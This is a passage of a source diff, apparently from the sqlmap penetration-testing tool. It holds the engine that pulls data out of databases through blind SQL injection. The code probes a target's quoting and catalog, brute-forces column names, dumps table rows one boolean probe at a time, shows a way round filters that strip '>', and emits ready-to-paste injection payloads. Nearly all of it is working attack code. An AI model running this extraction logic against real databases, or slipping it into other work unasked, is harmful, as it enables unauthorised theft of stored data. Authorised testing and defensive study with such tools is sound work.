# any collation/sentinel guesswork). Returns None when none of these is possible
|
||||
# - the caller then stops with the rows it already has.
|
||||
lit = boundfn or self.buildLiteral # rowids may need a quoted literal (see _ROWID_LITBOUND)
|
||||
if self._comparator == "gt":
|
||||
bound = prev if unit == "int" else lit(prev)
|
||||
return "%s>%s" % (expr, bound)
|
||||
if self._comparator == "between" and unit == "int":
|
||||
return "%s BETWEEN %s+1 AND 9223372036854775807" % (expr, prev)
|
||||
if self._inOk and seen:
|
||||
lits = ",".join((str(k) if unit == "int" else lit(k)) for k in seen)
|
||||
return "%s NOT IN (%s)" % (expr, lits)
|
||||
return None
|
||||
|
||||
def hasTable(self, table, schema=None):
|
||||
"""Does `table` (optionally in `schema`) resolve? COUNT-free existence."""
|
||||
q = self.quoteIdent(table)
|
||||
if schema:
|
||||
q = "%s.%s" % (self.quoteIdent(schema), q)
|
||||
try:
|
||||
return self._exists(q)
|
||||
except OracleUndecided:
|
||||
return False
|
||||
|
||||
def tableSchema(self, table):
|
||||
"""Resolve which schema a table actually lives in, from the catalog. PG-family
|
||||
tables are commonly in 'public' while current_schema() is the login user's own
|
||||
(empty) schema, so scoping to the current schema misses them. Returns the schema
|
||||
name, or None if the catalog has no schema concept or the table isn't found."""
|
||||
ce = self.dialect.catalogEnum
|
||||
if "schema" not in ce or "table" not in ce:
|
||||
return None
|
||||
schemacol = ce["schema"][0]
|
||||
namecol, source = ce["table"][0], ce["table"][1]
|
||||
# prefer a non-system schema (a system table could share the name)
|
||||
excl = ("pg_catalog", "information_schema", "sys", "mysql", "performance_schema",
|
||||
"SYS", "INFORMATION_SCHEMA", "pg_toast")
|
||||
notsys = " AND %s NOT IN (%s)" % (schemacol, ",".join(self.buildLiteral(s) for s in excl))
|
||||
for tail in (notsys, ""):
|
||||
expr = "(SELECT MIN(%s) FROM %s WHERE %s=%s%s)" % (schemacol, source, namecol, self.buildLiteral(table), tail)
|
||||
try:
|
||||
if self._ask("%s IS NOT NULL" % expr):
|
||||
return self.extract(expr)
|
||||
except OracleUndecided:
|
||||
break
|
||||
return None
|
||||
|
||||
def quoteIdent(self, name):
|
||||
"""Quote a target-supplied identifier (table/column) so reserved words,
|
||||
spaces, dots, or embedded quote chars are referenced safely. A name is an
|
||||
IDENTIFIER, never a raw SQL fragment. Falls back to the bare name if no
|
||||
quoting style was discovered."""
|
||||
q = self.dialect.identQuote
|
||||
if not q:
|
||||
return name
|
||||
return "%s%s%s" % (q[0], name.replace(q[1], q[1] * 2), q[1])
|
||||
|
||||
def _ensureQuoting(self, table):
|
||||
# discover the identifier-quote style using the (known-present) table:
|
||||
# the wrong quote char makes SELECT ... FROM <quoted> error -> reject
|
||||
if self.dialect.identQuote is not None or self.dialect.identQuote is False:
|
||||
return self.dialect.identQuote or None
|
||||
with self._probePhase(): # a wrong quote char makes FROM <quoted> error -> "unusable", not undecided
|
||||
for open_q, close_q in _IDENT_QUOTE:
|
||||
quoted = "%s%s%s" % (open_q, table.replace(close_q, close_q * 2), close_q)
|
||||
if self._exists(quoted):
|
||||
self.dialect.identQuote = (open_q, close_q)
|
||||
return self.dialect.identQuote
|
||||
self.dialect.identQuote = False # sentinel: probed, none worked
|
||||
return None
|
||||
|
||||
def columns(self, table, schema=None, limit=50):
|
||||
"""Enumerate a table's column names (keyset), optionally scoped to `schema`
|
||||
(so identically-named tables in different schemas don't merge columns). Falls
|
||||
back to brute-forcing common column names when no column catalog is usable."""
|
||||
names = None
|
||||
spec = _COLUMN_SPECS.get(self.dialect.catalog)
|
||||
if spec and self._canPage:
|
||||
col, source, wheretmpl = spec[0], spec[1], spec[2]
|
||||
ordcol = spec[3] if len(spec) > 3 else None # catalog's ordinal-position column
|
||||
schemacol = spec[4] if len(spec) > 4 else None # the column source's OWN schema column
|
||||
lit = self.buildLiteral(table)
|
||||
filt = (wheretmpl % lit) if wheretmpl else ""
|
||||
if schema is not None and schemacol: # explicit (e.g. Oracle OWNER, not table_schema)
|
||||
filt += " AND %s=%s" % (schemacol, self.buildLiteral(schema))
|
||||
elif schema is not None and "table_name" in (wheretmpl or ""): # ANSI-shaped filter
|
||||
filt += " AND table_schema=%s" % self.buildLiteral(schema)
|
||||
elif schema is not None and "TABLE_NAME" in (wheretmpl or ""):
|
||||
filt += " AND TABLE_SCHEMA=%s" % self.buildLiteral(schema)
|
||||
where = (" WHERE %s" % filt) if filt else ""
|
||||
# pragma_table_info(%s) takes the table in the source itself
|
||||
source = source % lit if "%s" in source else source
|
||||
names = self._keysetWalk(col, source, where, limit)
|
||||
if names and ordcol:
|
||||
names = self._orderByOrdinal(names, col, source, filt, ordcol)
|
||||
if not names:
|
||||
names = self.bruteColumns(table, schema, limit) # no catalog -> guess the usual names
|
||||
return names
|
||||
|
||||
def _orderByOrdinal(self, names, namecol, source, filt, ordcol):
|
||||
# reorder the enumerated columns by their catalog ordinal so a dump matches the
|
||||
# table's DEFINITION order, not the alphabetical MIN()-keyset order (+1 read per
|
||||
# column). Degrades gracefully: a missing/wrong ordinal sorts last, never crashes.
|
||||
keyed = []
|
||||
for n in names:
|
||||
cond = "%s=%s" % (namecol, self.buildLiteral(n))
|
||||
if filt:
|
||||
cond = "%s AND %s" % (filt, cond)
|
||||
try:
|
||||
o = self.extractInteger("(SELECT MIN(%s) FROM %s WHERE %s)" % (ordcol, source, cond))
|
||||
except (OracleUndecided, OverflowError):
|
||||
o = None
|
||||
keyed.append((o if o is not None else 1 << 30, n))
|
||||
return [n for _, n in sorted(keyed, key=lambda t: (t[0], t[1]))]
|
||||
|
||||
def _discoverKey(self, table, schema=None):
|
||||
# a primary/unique key column, preferred over a physical rowid. keyset needs
|
||||
# MIN() over it and a `> prev` bound, both of which a key column supports.
|
||||
spec = _KEY_SPECS.get(self.dialect.catalog)
|
||||
if not spec:
|
||||
return None
|
||||
source, tcol, ncol, extra = spec
|
||||
filt = "%s=%s" % (tcol, self.buildLiteral(table))
|
||||
if schema is not None:
|
||||
filt += " AND table_schema=%s" % self.buildLiteral(schema)
|
||||
if extra:
|
||||
filt += " AND %s" % extra
|
||||
# take the alphabetically-first key column (deterministic); a compound key
|
||||
# still yields a usable ordering column for the walk
|
||||
keyexpr = "(SELECT MIN(%s) FROM %s WHERE %s)" % (ncol, source, filt)
|
||||
with self._probePhase(): # a catalog that lacks this key structure errors -> "no key", not fatal
|
||||
present = self._ask("%s IS NOT NULL" % keyexpr)
|
||||
if present:
|
||||
name = self.extract(keyexpr)
|
||||
if name:
|
||||
return name
|
||||
return None
|
||||
|
||||
def columnType(self, expr):
|
||||
"""Coarse type hint: 'numeric' vs 'text'. RELIABLE ONLY ON STRICTLY-TYPED
|
||||
engines (PostgreSQL/Oracle/SQL Server/DB2), where SUM() over a text column
|
||||
errors. Dynamically-typed engines (SQLite, MySQL non-strict) coerce text->0
|
||||
so SUM succeeds - there the hint is unreliable and returns 'unknown' when it
|
||||
can't tell. Not a substitute for reading the catalog's declared type."""
|
||||
sums = self._ask("(SELECT SUM(%s) FROM (SELECT %s) t) IS NOT NULL" % (expr, expr))
|
||||
if not sums:
|
||||
return "text" # SUM errored -> definitely not numeric
|
||||
# SUM worked: real numeric, OR a coercing dynamic engine. disambiguate with a
|
||||
# cheap non-digit check on the first char (via the discovered substring)
|
||||
try:
|
||||
one = self._sub(self._resolveText(expr), 1, 1)
|
||||
if self._ask("%s>='0' AND %s<='9'" % (one, one)) or self._ask("%s='-'" % one):
|
||||
return "numeric"
|
||||
except Exception:
|
||||
pass
|
||||
return "unknown"
|
||||
|
||||
def _classifyUnit(self, keyexpr, qtable):
|
||||
# a key/rowid reads as int (fast extractInteger + numeric bound) or opaque
|
||||
# text (extract + literal bound)
|
||||
q = "(SELECT MIN(%s) FROM %s)" % (keyexpr, qtable)
|
||||
if self._comparator == "between":
|
||||
# numeric range holds only for a number (text sorts outside it in SQL)
|
||||
if self._ask("%s BETWEEN -9223372036854775808 AND 9223372036854775807" % q):
|
||||
return "int"
|
||||
elif self._comparator == "gt":
|
||||
if self._ask("%s>=0" % q) or self._ask("%s<0" % q):
|
||||
return "int"
|
||||
return "text" # membership/undecided: safe to treat as literal-bound text
|
||||
|
||||
def _discoverRowid(self, qtable):
|
||||
# find a MIN-aggregatable physical row identifier for the (already-quoted)
|
||||
# table; classify int vs opaque text (SQLite rowid is int; Oracle ROWID text).
|
||||
# each candidate is a PROBE: a pseudo-column the engine lacks (ROWID on MSSQL,
|
||||
# ctid off-PG, ...) errors, which must skip to the next candidate, not fail the dump
|
||||
with self._probePhase():
|
||||
for name, tmpl, _unit in _ROWID:
|
||||
rid = tmpl % qtable if "%s" in tmpl else tmpl
|
||||
if not self._ask("(SELECT MIN(%s) FROM %s) IS NOT NULL" % (rid, qtable)):
|
||||
continue
|
||||
unit = self._classifyUnit(rid, qtable)
|
||||
# a physical row-id used as a keyset must be a sane NON-NEGATIVE int;
|
||||
# Informix's `rowid` reads as a bogus negative here -> reject it and fall
|
||||
# through to the value-keyset walk rather than feed extractInteger garbage
|
||||
if unit == "int" and self._comparator == "gt" and \
|
||||
not self._ask("(SELECT MIN(%s) FROM %s)>=0" % (rid, qtable)):
|
||||
continue
|
||||
return Cap(name, rid, unit=unit)
|
||||
return None
|
||||
|
||||
def _walkKey(self, qtable, table, schema):
|
||||
# ordering key, best-first: primary/unique key -> physical row-id -> value.
|
||||
# returns (key_expr, unit, source_label, boundfn); boundfn formats a keyset
|
||||
# comparison bound (quoted literal for opaque-typed row-ids, else buildLiteral).
|
||||
key = self._discoverKey(table, schema)
|
||||
if key:
|
||||
kexpr = self.quoteIdent(key)
|
||||
return kexpr, self._classifyUnit(kexpr, qtable), "key:%s" % key, self.buildLiteral
|
||||
rid = self._discoverRowid(qtable)
|
||||
if rid is not None:
|
||||
boundfn = self._lit if rid.name in _ROWID_LITBOUND else self.buildLiteral
|
||||
return rid.template, rid.get("unit"), "rowid:%s" % rid.name, boundfn
|
||||
return None, None, "value", self.buildLiteral
|
||||
|
||||
def _rowPayload(self, cols):
|
||||
# one hex-framed, NULL-PRESERVING token per column, joined by ','. token
|
||||
# grammar: 'N' = SQL NULL, 'V'+hex = non-NULL value ('V' alone = empty
|
||||
# string). the marker is required because COALESCE(col,'') collapses NULL and
|
||||
# empty - and on Oracle the '' fallback is itself NULL. needs hex framing.
|
||||
if not self._ensureHexfn() or not self.dialect.concat:
|
||||
return None, False # can't frame a whole row -> caller scavenges cell-by-cell
|
||||
parts = []
|
||||
for c in cols:
|
||||
qc = self.quoteIdent(c) # column names are identifiers, not raw SQL
|
||||
# text-cast before hex so a numeric/date column yields its TEXT form, not
|
||||
# DBMS-internal storage bytes (SQL Server CAST(1 AS VARBINARY)=00000001)
|
||||
text = self.dialect.textcast[1].format(expr=qc) if self.dialect.textcast else qc
|
||||
marked = self.dialect.concat[1].format(a="'V'", b=self.dialect.hexfn[1].format(expr=text))
|
||||
parts.append("CASE WHEN (%s) IS NULL THEN 'N' ELSE %s END" % (qc, marked))
|
||||
interleaved = [parts[0]]
|
||||
for p in parts[1:]:
|
||||
interleaved.append("','") # the ',' row-token delimiter
|
||||
interleaved.append(p)
|
||||
return self._concatMany(interleaved), True # flat when concat is variadic
|
||||
|
||||
def _cellRow(self, qtable, cols, where):
|
||||
# SCAVENGER row read: pull each column on its own. A single value needs no comma/
|
||||
# marker framing (so no concat) and its NULL is detected directly (so no hex 'N'
|
||||
# sentinel) - this is how a dump still works on a back-end that can neither
|
||||
# concatenate nor hex-encode. Slower (one extraction per cell), but it retrieves.
|
||||
row = []
|
||||
for c in cols:
|
||||
res = self.extractResult("(SELECT %s FROM %s WHERE %s)" % (self.quoteIdent(c), qtable, where))
|
||||
if not res.complete:
|
||||
return None, False
|
||||
row.append(res.value)
|
||||
return row, True
|
||||
|
||||
def _splitRow(self, data, ncols):
|
||||
# returns (row, valid); a malformed token count/marker means invalid, never
|
||||
# a silently padded/truncated plausible row
|
||||
if data is None:
|
||||
return None, False
|
||||
toks = data.split(",")
|
||||
if len(toks) != ncols:
|
||||
return None, False
|
||||
enc = self.dialect.hexfn.get("encoding") if self.dialect.hexfn else None
|
||||
vals = []
|
||||
for t in toks:
|
||||
if t == "N":
|
||||
vals.append(None)
|
||||
elif t == "V":
|
||||
vals.append("")
|
||||
elif t.startswith("V"):
|
||||
v = self._decodeHexToken(t[1:], enc)
|
||||
if v is None:
|
||||
return None, False
|
||||
vals.append(v)
|
||||
else:
|
||||
return None, False
|
||||
return vals, True
|
||||
|
||||
def dump(self, table, columns=None, schema=None, limit=10):
|
||||
"""Extract actual ROW DATA. Table/column names are treated as quoted
|
||||
IDENTIFIERS (never raw SQL). Optionally scoped to `schema`. Rows are walked
|
||||
by a primary/unique KEY when discoverable, else a physical row-id, else the
|
||||
row's own value (distinct-only); each row is one hex-framed, NULL-preserving,
|
||||
text-cast extraction. Completeness is checked against COUNT(*). Returns
|
||||
{columns, rows, complete, keyed_by}."""
|
||||
self._ensureQuoting(table)
|
||||
qtable = self.quoteIdent(table)
|
||||
if schema is not None:
|
||||
qtable = "%s.%s" % (self.quoteIdent(schema), qtable)
|
||||
cols = columns or self.columns(table, schema)
|
||||
if not cols:
|
||||
return None
|
||||
payload, framed = self._rowPayload(cols)
|
||||
if not framed: # no hex/concat to frame a whole row
|
||||
self.dialect.notes.append("dump %s: no hex/concat framing - scavenging cell-by-cell" % table)
|
||||
try:
|
||||
expected = self.extractInteger("(SELECT COUNT(*) FROM %s)" % qtable)
|
||||
except OracleUndecided:
|
||||
expected = None
|
||||
if expected == 0:
|
||||
return {"columns": cols, "rows": [], "complete": True, "keyed_by": None}
|
||||
keyexpr, unit, keyed_by, boundfn = self._walkKey(qtable, table, schema)
|
||||
rows, ok = [], True
|
||||
|
||||
def readrow(where):
|
||||
# a whole row: one framed extraction when hex+concat exist, else cell-by-cell.
|
||||
# if the framed whole-row read doesn't verify (some engines choke on the big
|
||||
# nested CONCAT or its verification, e.g. SQL Server), degrade to reading each
|
||||
# cell on its own rather than dropping the row
|
||||
if framed:
|
||||
try:
|
||||
res = self.extractResult("(SELECT %s FROM %s WHERE %s)" % (payload, qtable, where), codes=_HEX_PAYLOAD_CODES)
|
||||
if res.complete:
|
||||
return self._splitRow(res.value, len(cols))
|
||||
except OracleUndecided:
|
||||
pass # framed whole-row read errored (big nested CONCAT) -> cell-by-cell
|
||||
return self._cellRow(qtable, cols, where)
|
||||
|
||||
# a best-effort walk must DEGRADE, not crash: an undecided/over-budget probe
|
||||
# (permission or charset wall) stops with whatever rows were recovered
|
||||
try:
|
||||
if keyexpr is not None: # key / row-id keyset (preferred)
|
||||
prev, keys = None, []
|
||||
while len(rows) < limit:
|
||||
if prev is None:
|
||||
where = ""
|
||||
else:
|
||||
beyond = self._beyondSql(keyexpr, prev, unit, seen=keys, boundfn=boundfn)
|
||||
if beyond is None: # no ordered comparator, no IN -> can't page
|
||||
break
|
||||
where = " WHERE %s" % beyond
|
||||
ke = "(SELECT MIN(%s) FROM %s%s)" % (keyexpr, qtable, where)
|
||||
key = self.extractInteger(ke) if unit == "int" else self.extract(ke)
|
||||
if key is None or key == "" or key == prev:
|
||||
break
|
||||
bound = key if unit == "int" else boundfn(key)
|
||||
row, valid = readrow("%s=%s" % (keyexpr, bound))
|
||||
if not valid: # a truncated/invalid cell != complete row
|
||||
ok = False
|
||||
break
|
||||
rows.append(row)
|
||||
self._emit(", ".join("NULL" if c is None else c for c in row))
|
||||
prev = key
|
||||
keys.append(key) # for order-free NOT IN() paging
|
||||
else: # value keyset (distinct rows only)
|
||||
ok = False # exact-duplicate rows collapse
|
||||
self.dialect.notes.append("dump %s: no key/row-id, value-keyset walk (duplicate rows collapse)" % table)
|
||||
pageexpr = payload if framed else self.quoteIdent(cols[0])
|
||||
# the framed page-key is text; a bare first-column page-key may be numeric,
|
||||
# and a numeric column MUST be read via extractInteger + a numeric bound - a
|
||||
# text SUBSTR read mangles e.g. Derby's space-padded INT->CHAR into a garbage
|
||||
# bound ("id=' '") that matches no row (dump silently returns 0 entries)
|
||||
pageunit = "text" if framed else self._classifyUnit(pageexpr, qtable)
|
||||
prev, seen = None, []
|
||||
while len(rows) < limit:
|
||||
if prev is None:
|
||||
where = ""
|
||||
else:
|
||||
beyond = self._beyondSql(pageexpr, prev, pageunit, seen=seen)
|
||||
if beyond is None: # no ordered comparator, no IN -> can't page
|
||||
break
|
||||
where = " WHERE %s" % beyond
|
||||
if framed:
|
||||
res = self.extractResult("(SELECT MIN(%s) FROM %s%s)" % (pageexpr, qtable, where), codes=_HEX_PAYLOAD_CODES)
|
||||
pv, valid = res.value, res.complete
|
||||
row, ok2 = self._splitRow(pv, len(cols)) if pv is not None else (None, False)
|
||||
valid = valid and ok2
|
||||
elif pageunit == "int": # numeric first column: read + bound as a number
|
||||
pv = self.extractInteger("(SELECT MIN(%s) FROM %s%s)" % (pageexpr, qtable, where))
|
||||
row, valid = self._cellRow(qtable, cols, "%s=%s" % (pageexpr, pv)) if pv is not None else (None, False)
|
||||
else: # page on the first (text) column, read cells under it
|
||||
pv = self.extract("(SELECT MIN(%s) FROM %s%s)" % (pageexpr, qtable, where))
|
||||
row, valid = self._cellRow(qtable, cols, "%s=%s" % (pageexpr, self.buildLiteral(pv))) if pv else (None, False)
|
||||
if pv is None or pv == "" or pv == prev or not valid:
|
||||
break
|
||||
rows.append(row)
|
||||
self._emit(", ".join("NULL" if c is None else c for c in row))
|
||||
if isinstance(pv, str) and _REPL in pv: # a corrupt (unrecoverable) text bound can't page reliably; an int bound never carries _REPL
|
||||
break
|
||||
prev = pv
|
||||
seen.append(pv) # for order-free NOT IN() paging
|
||||
except (OracleUndecided, OverflowError):
|
||||
# degrade, never crash: an undecided oracle (permission/charset wall) or a
|
||||
# bogus key that overflows extractInteger stops the walk with partial rows
|
||||
self.dialect.notes.append("dump %s stopped early (oracle undecided / bad key)" % table)
|
||||
ok = False
|
||||
# complete only if every row extracted cleanly AND we got them all
|
||||
complete = ok and expected is not None and len(rows) == expected
|
||||
return {"columns": cols, "rows": rows, "complete": complete, "keyed_by": keyed_by}
|
||||
|
||||
def poc(self, expr, position=1, gt=64):
|
||||
"""Emit a clean, pasteable boolean payload for ONE probe (the exploitation
|
||||
primitive), so a tester can drop it into Burp without re-running discovery."""
|
||||
one = self._sub(expr, position, 1)
|
||||
if self.dialect.compare == "code" and self.dialect.charcode:
|
||||
return "%s>%d" % (self.dialect.charcode[1].format(expr=one), gt)
|
||||
if self.dialect.compare == "hex" and self.dialect.hexfn:
|
||||
return "%s>'%02X'" % (self.dialect.hexfn[1].format(expr=one), gt)
|
||||
if self.dialect.compare == "collation" and self.dialect.binwrap:
|
||||
w = self.dialect.binwrap[1]
|
||||
return "%s>%s" % (w.format(x=one), w.format(x=self._lit(chr(gt))))
|
||||
if self.dialect.compare in ("equality", "equality-ci"):
|
||||
# equality mode was chosen BECAUSE ordering isn't trustworthy - don't
|
||||
# fabricate a `>` predicate the target's collation may not honour
|
||||
raise RuntimeError("ordered PoC unavailable in equality-only compare mode")
|
||||
return "%s>%s" % (one, self._lit(chr(gt)))
|
||||
|
||||
def strategy(self):
|
||||
"""Freeze the discovered dialect into an immutable InferenceStrategy - the
|
||||
hand-off artifact for a host inference engine (see hostExtract). Ensures the
|
||||
hex fn and quoting/backslash flags are resolved before freezing."""
|
||||
d = self.dialect
|
||||
if not self._discovered:
|
||||
self.discover()
|
||||
self._ensureHexfn()
|
||||
self._lit("x") # resolve backslash-escape flag
|
||||
return InferenceStrategy(
|
||||
product=d.product or d.family, family=d.family, compare_mode=d.compare,
|
||||
catalog=d.catalog, dual=(d.dual[1] if d.dual else ""), notes=tuple(d.notes),
|
||||
substring=(d.substring[1] if d.substring else None),
|
||||
index_base=(d.substring.get("index_base", 1) if d.substring else 1),
|
||||
length=(d.length[1] if d.length else None),
|
||||
charcode=(d.charcode[1] if d.charcode else None),
|
||||
charcode_sem=(d.charcode.get("semantics") if d.charcode else None),
|
||||
hexfn=(d.hexfn[1] if d.hexfn else None),
|
||||
binwrap=(d.binwrap[1] if d.binwrap else None),
|
||||
charfrom=(d.charfrom[1] if d.charfrom else None),
|
||||
concat=(d.concat[1] if d.concat else None),
|
||||
identquote=(d.identQuote if d.identQuote and d.identQuote is not False else None),
|
||||
backslash=bool(self._backslashEscape))
|
||||
|
||||
def enumerateBulk(self, kind, maxchars=4096, encoding=None):
|
||||
"""One-shot full dump: aggregate the whole column into one delimited string
|
||||
and extract it once. When a hex function exists each value is HEX-encoded
|
||||
before aggregation, so the ',' delimiter is unambiguous (a comma can't occur
|
||||
in a hex token) and any charset survives; otherwise raw values are joined
|
||||
(comma-ambiguous, noted). Completeness is checked against an independent
|
||||
COUNT(DISTINCT). Returns a BulkResult (list-like)."""
|
||||
if kind not in self.dialect.catalogEnum:
|
||||
return None
|
||||
col, src, where = self._source(kind)
|
||||
# independent COUNT FIRST - so a single empty-string row isn't mistaken for
|
||||
# an empty catalog (the aggregate of one '' can look like no rows)
|
||||
expected = self.extractInteger("(SELECT COUNT(DISTINCT %s) FROM %s%s)" % (col, src, where))
|
||||
if expected == 0:
|
||||
return BulkResult([], expected=0, complete=True)
|
||||
if not self._ensureHexfn(): # delimiter safety needs hex
|
||||
self.dialect.notes.append("bulk %s: no hex framing - use enumerateKeyset" % kind)
|
||||
return None
|
||||
# 'V'-prefix each non-NULL token so an empty string is 'V' (distinct from a
|
||||
# NULL aggregate over zero rows)
|
||||
aggcol = self.dialect.concat[1].format(a="'V'", b=self.dialect.hexfn[1].format(expr=col))
|
||||
if self.dialect.bulkAgg is None:
|
||||
self.dialect.bulkAgg = self._discoverBulkAgg(aggcol, src, where)
|
||||
if not self.dialect.bulkAgg:
|
||||
return None
|
||||
agg = self.dialect.bulkAgg[1].format(col=aggcol)
|
||||
res = self.extractResult("(SELECT %s FROM %s%s)" % (agg, src, where), limit=maxchars, _ceiling=maxchars)
|
||||
joined = res.value
|
||||
if joined is None:
|
||||
return BulkResult([], expected=expected, complete=False)
|
||||
tokens = joined.split(",")
|
||||
if res.truncated and tokens: # last token may be partial
|
||||
tokens = tokens[:-1]
|
||||
names, seen = [], set()
|
||||
for t in tokens:
|
||||
if not t.startswith("V"):
|
||||
continue
|
||||
v = self._decodeHexToken(t[1:], encoding)
|
||||
if v is not None and v not in seen: # dedupe (non-unique columns repeat)
|
||||
seen.add(v)
|
||||
names.append(v)
|
||||
complete = (not res.truncated) and expected is not None and len(names) == expected
|
||||
if expected is not None and len(names) != expected:
|
||||
self.dialect.notes.append("bulk %s: got %d of %d (incomplete)" % (kind, len(names), expected))
|
||||
return BulkResult(names, expected=expected, complete=complete)
|
||||
|
||||
def _discoverBulkAgg(self, col, src, where):
|
||||
for name, tmpl in _BULK_AGG:
|
||||
agg = tmpl.format(col=col)
|
||||
if self._ask("(SELECT %s FROM %s%s) IS NOT NULL" % (agg, src, where)):
|
||||
return Cap(name, tmpl)
|
||||
return None
|
||||
685
extra/esperanto/extraction.py
Normal file
685
extra/esperanto/extraction.py
Normal file
|
|
@ -0,0 +1,685 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from .atlas import *
|
||||
from .records import *
|
||||
|
||||
|
||||
class _Extraction(object):
|
||||
"""_Extraction
|
||||
|
||||
turn the discovered dialect into VALUES: length, char reading, literals, hex,
|
||||
the public extract*/read* API, and the LIKE pattern-match floor."""
|
||||
|
||||
def _charExists(self, expr, pos):
|
||||
# is there a real character at 1-based `pos`? derived from the substring's
|
||||
# measured end behavior - the basis for length when no length fn exists.
|
||||
one = self._sub(expr, pos, 1)
|
||||
if self.dialect.substring.get("beyond_end") == "null-or-error":
|
||||
return self._ask("%s IS NOT NULL" % one)
|
||||
return self._ask("%s IS NOT NULL" % one) and not self._ask("%s=''" % one)
|
||||
|
||||
def _measureLengthSub(self, expr, ceiling):
|
||||
# length via substring: find the largest position that still holds a char.
|
||||
# mirrors _measureLength's exponential-then-bisect shape (len>N <=> a char
|
||||
# exists at N+1), for backends with substring but no length fn.
|
||||
if not self._charExists(expr, 1):
|
||||
return (None if self._ask("(%s) IS NULL" % expr) else 0), False
|
||||
if self._charExists(expr, ceiling + 1):
|
||||
return ceiling, True
|
||||
low, high = 1, min(8, ceiling)
|
||||
while high < ceiling and self._charExists(expr, high + 1):
|
||||
low = high + 1
|
||||
high = min(high * 2, ceiling)
|
||||
while low < high:
|
||||
mid = (low + high) // 2
|
||||
if self._charExists(expr, mid + 1):
|
||||
low = mid + 1
|
||||
else:
|
||||
high = mid
|
||||
return low, False
|
||||
|
||||
def _hasChars(self, expr):
|
||||
# non-empty existence check that works with either a length fn or substring
|
||||
if self.dialect.length is not None:
|
||||
lexpr = self._len(expr)
|
||||
return self._numDefined(lexpr) and not self._ask("%s=0" % lexpr)
|
||||
if self.dialect.substring is not None:
|
||||
return self._charExists(expr, 1)
|
||||
return False
|
||||
|
||||
def _lenEquals(self, expr, n):
|
||||
# exact-length corroboration used in discovery, length-fn or substring-derived
|
||||
if self.dialect.length is not None:
|
||||
return self._ask("%s=%d" % (self._len(expr), n))
|
||||
if self.dialect.substring is not None:
|
||||
return self._measureLength(expr, ceiling=max(n + 1, 8))[0] == n
|
||||
return False
|
||||
|
||||
def _measureLength(self, expr, ceiling=None):
|
||||
"""Return (length, truncated) - no shared per-call state, and a separate
|
||||
`ceiling` so hex/byte pulls can be capped independently of maxlen."""
|
||||
ceiling = self.maxlen if ceiling is None else ceiling
|
||||
if self.dialect.length is None:
|
||||
return self._measureLengthSub(expr, ceiling)
|
||||
lexpr = self._len(expr)
|
||||
if not self._numDefined(lexpr):
|
||||
return None, False
|
||||
if self._ask("%s=0" % lexpr):
|
||||
return 0, False
|
||||
if ceiling < 1: # non-empty value but capped to nothing (maxlen=0)
|
||||
return 0, True
|
||||
n = self._readNum(lexpr, 1, ceiling)
|
||||
return n, n >= ceiling # at the cap -> treat as (possibly) truncated
|
||||
|
||||
def valueLength(self, expr):
|
||||
length, truncated = self._measureLength(expr)
|
||||
self._lastTruncated = truncated
|
||||
return length
|
||||
|
||||
def _literalVariants(self, value):
|
||||
# spellings to try for exact char verification; SQL Server & others need an
|
||||
# N'...' prefix to preserve non-ASCII, cheap vs accepting a wrong candidate
|
||||
yield self._lit(value)
|
||||
if any(ord(c) > 127 for c in value):
|
||||
yield "N%s" % self._lit(value)
|
||||
|
||||
def _exactCharEquals(self, expr, value):
|
||||
return any(self._exactEquals(expr, lit) for lit in self._literalVariants(value))
|
||||
|
||||
def _lit(self, ch):
|
||||
# double single quotes always; also double backslashes on engines that treat
|
||||
# '\' as an escape char (MySQL/MariaDB default), else '\' + "'" would break
|
||||
# the literal and silently corrupt the probe
|
||||
if self._backslashEscape is None:
|
||||
self._backslashEscape = (self.dialect.length is not None
|
||||
and self._ask("%s=1" % self._len("'\\\\'")))
|
||||
s = ch.replace("\\", "\\\\") if self._backslashEscape else ch
|
||||
return _native("'%s'" % s.replace("'", "''"))
|
||||
|
||||
def _bisectCharset(self, greater):
|
||||
# greater(c) -> is the source char strictly greater than charset char c?
|
||||
cs = _PRINTABLE_SORTED
|
||||
lo, hi = 0, len(cs) - 1
|
||||
while lo < hi:
|
||||
mid = (lo + hi) // 2
|
||||
if greater(cs[mid]):
|
||||
lo = mid + 1
|
||||
else:
|
||||
hi = mid
|
||||
return cs[lo]
|
||||
|
||||
def _gtNum(self, expr, n, high):
|
||||
# "is `expr` > n?" via the discovered comparator (high = current upper bound).
|
||||
# BETWEEN expresses the same range test without the '>'/'<' a WAF may strip.
|
||||
if self._comparator == "between":
|
||||
return self._ask("%s BETWEEN %d AND %d" % (expr, n + 1, high))
|
||||
return self._ask("%s>%d" % (expr, n))
|
||||
|
||||
def _numDefined(self, expr):
|
||||
# value is a defined (non-NULL) number - validity gate that needs no '>'
|
||||
return self._ask("(%s) IS NOT NULL" % expr)
|
||||
|
||||
def _readNum(self, expr, lo, hi):
|
||||
# bounded numeric read in [lo, hi]. ordered comparators bisect (exponential
|
||||
# first so a small value in a big range stays cheap); the order-free path
|
||||
# scans fixed windows then IN-bisects inside the hit window (IN lists bounded).
|
||||
if self._comparator != "membership":
|
||||
low, high = lo, min(max(lo, 8), hi)
|
||||
while high < hi and self._gtNum(expr, high, hi):
|
||||
low, high = high + 1, min(high * 2, hi)
|
||||
while low < high:
|
||||
mid = (low + high) // 2
|
||||
if self._gtNum(expr, mid, hi):
|
||||
low = mid + 1
|
||||
else:
|
||||
high = mid
|
||||
return low
|
||||
if self._inOk:
|
||||
window = 128
|
||||
base = lo
|
||||
while base <= hi:
|
||||
win = list(range(base, min(base + window, hi + 1)))
|
||||
if self._ask("%s IN (%s)" % (expr, ",".join(str(v) for v in win))):
|
||||
while len(win) > 1:
|
||||
half = win[:len(win) // 2]
|
||||
if self._ask("%s IN (%s)" % (expr, ",".join(str(v) for v in half))):
|
||||
win = half
|
||||
else:
|
||||
win = win[len(win) // 2:]
|
||||
return win[0]
|
||||
base += window
|
||||
return hi
|
||||
# no ordered op and no IN: plain '=' scan (bounded by hi; small values first)
|
||||
for v in range(lo, hi + 1):
|
||||
if self._ask("%s=%d" % (expr, v)):
|
||||
return v
|
||||
return hi
|
||||
|
||||
def _bisectCodes(self, code, codes):
|
||||
# ordered bisection over a sorted code list (restricted alphabet)
|
||||
lo, hi = 0, len(codes) - 1
|
||||
top = codes[hi]
|
||||
while lo < hi:
|
||||
mid = (lo + hi) // 2
|
||||
if self._gtNum(code, codes[mid], top):
|
||||
lo = mid + 1
|
||||
else:
|
||||
hi = mid
|
||||
return codes[lo]
|
||||
|
||||
def _bisectCodeRange(self, code):
